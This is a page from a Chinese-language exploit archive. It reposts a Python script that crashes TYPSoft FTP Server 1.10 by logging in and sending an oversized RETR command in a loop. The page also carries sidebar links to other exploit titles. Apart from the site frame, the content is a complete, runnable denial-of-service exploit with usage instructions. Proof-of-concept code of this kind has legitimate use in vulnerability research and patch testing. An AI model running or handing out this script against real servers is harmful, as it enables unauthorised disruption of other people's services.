首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TYPSoft FTP Server v1.10 RETR Command DoS
来源:www.redteamsecure.com 作者:Talamantes 发布时间:2010-05-17  

# Tested on: Windows XP, SP2 (EN)

#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TYPSoft FTP Server RETR Command DoS             ##"
print "##                        Version 1.10                         ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Description:
# RETR command overflow with no PORT specified

# Define the exploit's usage
def Usage():
    print ("Usage: scriptname.py <IP> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer
buffer="AAAA" * 496

def exploit(hostname,username,password):
 i=0
 while i < 10:
  i=i+1
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
   sock.connect((hostname, 21))
  except:
   print ("Error: unable to connect to host")
   sys.exit(1)
  r=sock.recv(1024)
  print "[+] " + r + ": iteration number:  ",i
  sock.send("USER " + username + "\r\n")
  r=sock.recv(1024)
  sock.send("PASS " + password + "\r\n")
  r=sock.recv(1024)
  sock.send("RETR " + buffer + "\r\n")
  sock.close()
  
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    exploit(hostname,username,password)
    sys.exit(0)

# End


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·SmallFTPD FTP Server v1.0.3 DE
·IncrediMail (ImShExtU.dll) Act
·Firefox 3.6.3 & Safari 4.0.5 -
·Shellzip v3.0 Beta 3 (.zip) 0d
·FreeBSD 8.0-RELEASE/x86 //sbin
·win32/xp sp2 Fr Download and E
·linux/x86 pwrite("/etc/shadow"
·ECShop <= v2.6.2 SQL injection
·Samba Multiple DoS Vulnerabili
·ECShop <= v2.7.2 SQL injection
·WFTPD Server 3.30 Multiple rem
·Linux x86 execve("/usr/bin/wge
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved